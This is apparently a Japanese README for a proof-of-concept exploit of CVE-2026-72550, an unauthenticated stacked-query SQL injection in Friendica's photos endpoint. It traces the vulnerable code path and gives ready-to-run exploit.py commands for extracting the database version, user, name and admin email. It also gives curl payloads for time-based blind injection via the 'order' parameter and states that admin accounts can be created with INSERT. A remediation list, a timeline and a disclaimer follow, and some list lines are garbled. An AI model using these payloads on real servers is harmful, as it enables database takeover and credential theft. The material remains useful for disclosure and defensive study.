
CVE-2026-72550 — Friendica 認証不要のスタックドクエリSQLインジェクション PoC (CVSS 9.8 緊急)
Friendica の photos エンドポイントにおける未認証のスタックドクエリSQLインジェクションにより、任意の訪問者が任意の SQL を実行できます。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-72550 |
| 製品 | Friendica(自己ホスト型フェデレーテッドソーシャルネットワーク) |
| 影響を受けるバージョン | <= 2026.08-dev (git HEAD e3fc1bc) |
| タイプ | CWE-89: SQLインジェクション(未認証、スタックドクエリ) |
| 深刻度 | 重大 — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 必要な認証 | なし |
Friendica の写真表示エンドポイントは、order クエリパラメータをエスケープせずに SHOW COLUMNS ... LIKE '...' 文へ連結し、これを素の PDO::query() で実行します。これにより複数のステートメントの実行が可能になります。ログインは不要で、標準インストール(block_public はデフォルトでオフ)では、公開されている任意の写真だけで十分です。PDO::query() はスタックドステートメントを実行するため、匿名の攻撃者はデータを読むだけでなく、INSERT/UPDATE による管理者ユーザーの作成を含む任意の SQL を実行できます。
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
デフォルトのリクエストパスはこのコードに到達します。$cmd はデフォルトで 'view' となり($cmd === 'view' ゲートを満たす)、no_count はオフのため、認証も非デフォルト設定も必要ありません。
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
Cookieや認証は不要です。公開されている任意の写真のリソースIDを指定してください:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
デコードされたペイロード: x';SELECT SLEEP(5)-- -
注入されたSQLは次のようになります:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
未認証の攻撃者は以下が可能です:
INSERT INTO user による管理者アカウントの作成を含むこれは、デフォルトのFriendicaインストールにおいて、匿名の訪問者であれば誰でも到達可能な、データベース全体の完全な侵害です。
order を既知のカラムホワイトリストに対して検証するSHOW COLUMNS で文字列連結の代わりにパラメータ化クエリを使用するPDO::ATTR_EMULATE_PREPARES => false)| 日付 | イベント |
|---|---|
| 2026-07-07 | ローカルインスタンスで脆弱性を発見・確認 |
| 2026-08-11 | TuranSec CNA 経由で CVE-2026-72550 公開 |
このツールは、許可されたセキュリティテストおよび教育目的のみで提供されます。自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。作者は誤用に対するいかなる責任も負いません。
発見者: Bobur Abdugafforov (@abdugafforov-bobur)
CVE は TuranSec CNA によって割り当てられました。
| フラグ | 説明 |
|---|
-u / --url | ターゲットのベースURL(例: http://target:8176) |
-r / --user | フォトギャラリーを対象とするユーザー名 |
-i / --resource-id | 公開されている任意の写真のリソースID |
--extract | 抽出する値: version、db_user、db_name、admin_email |
--check-only | 脆弱性のテストのみ行い、データは抽出しない |
--sleep | SLEEPディレイ(秒)(デフォルト: 5) |